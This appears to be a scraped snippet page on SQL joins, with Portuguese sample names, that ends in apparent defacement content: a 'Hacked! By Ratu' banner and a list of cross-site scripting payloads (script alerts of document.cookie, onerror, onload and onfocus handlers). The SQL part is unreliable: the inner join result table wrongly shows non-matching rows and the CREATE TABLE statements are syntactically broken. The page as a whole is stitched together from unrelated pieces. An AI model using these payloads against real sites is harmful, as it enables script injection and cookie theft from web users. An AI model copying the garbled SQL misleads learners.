[SQL] SQL #sql

nested subquery vs correlated subquery vs joins.sql

-

sql joins.sql

--Data 
INSERT INTO TabelaA VALUES('Fernanda')
INSERT INTO TabelaA VALUES('Josefa')
INSERT INTO TabelaA VALUES('Luiz')
INSERT INTO TabelaA VALUES('Fernando')

INSERT INTO TabelaB VALUES('Carlos')
INSERT INTO TabelaB VALUES('Manoel')
INSERT INTO TabelaB VALUES('Luiz')
INSERT INTO TabelaB VALUES('Fernando')

--|Tabela A|Tabela B
--|Fernanda|Carlos
--|Josefa  |Manoel
--|Luiz    |Luiz
--|Fernando|Fernando

--Inner Join
SELECT a.Nome, b.Nome
FROM TabelaA as A
INNER JOIN TabelaB as B on a.Nome = b.Nome
--|Tabela A|Tabela B
--|Fernanda|Carlos
--|Josefa  |Manoel
--|Luiz    |Luiz
--|Fernando|Fernando

Left Join
Right Join
Outer Join
Left Excluding Join
Right Excluding Join
Outer Excluding Join
Cursos de SQL
--https://www.devmedia.com.br/sql-join-entenda-como-funciona-o-retorno-dos-dados/31006


CREATE TABLE table_users(
  userId varchar(50) NULL
  addressId: int()
)

GO

CREATE TABLE table_addresses(
  userId varchar(50) NULL
)

<title>Hacked! By Ratu</title> <style> body { background: black; color: white; } </style>

Hacked! By 0H Sendiri bukanlah sebuah kekurangan,kelak akan datang sang pelengkap yg akan menyempurnakan dan memperlakukan mu layaknya seorang Ratu bagi dirinya ><.: Ratu :.><

hello”><IMG “””><SCRIPT>alert(document.cookie)</SCRIPT>”>

"><IMG SRC="https://f.top4top.io/p_1948g5dvz0.png"ONERROR=JAVASCRIPT:ALERT(6)>

<script>alert(123);</script> <ScRipT>alert("XSS");</ScRipT> <script>alert(123)</script> <script>alert("hellox worldss");</script> <script>alert(“XSS”)</script> <script>alert(“XSS”);</script> <script>alert(‘XSS’)</script>

“><script>alert(“XSS”)</script>

<script>alert(/XSS”)</script> <script>alert(/XSS/)</script>

</script><script>alert(1)</script>

<>">"/>/">'>'/>/'>/>> <img/src=("RATUXPLOIT");>onerror=prompt(1);>

CLICKME "> "><svg/onload=prompt(1);> "> <textarea autofocus onfocus=alert(1)> "> ">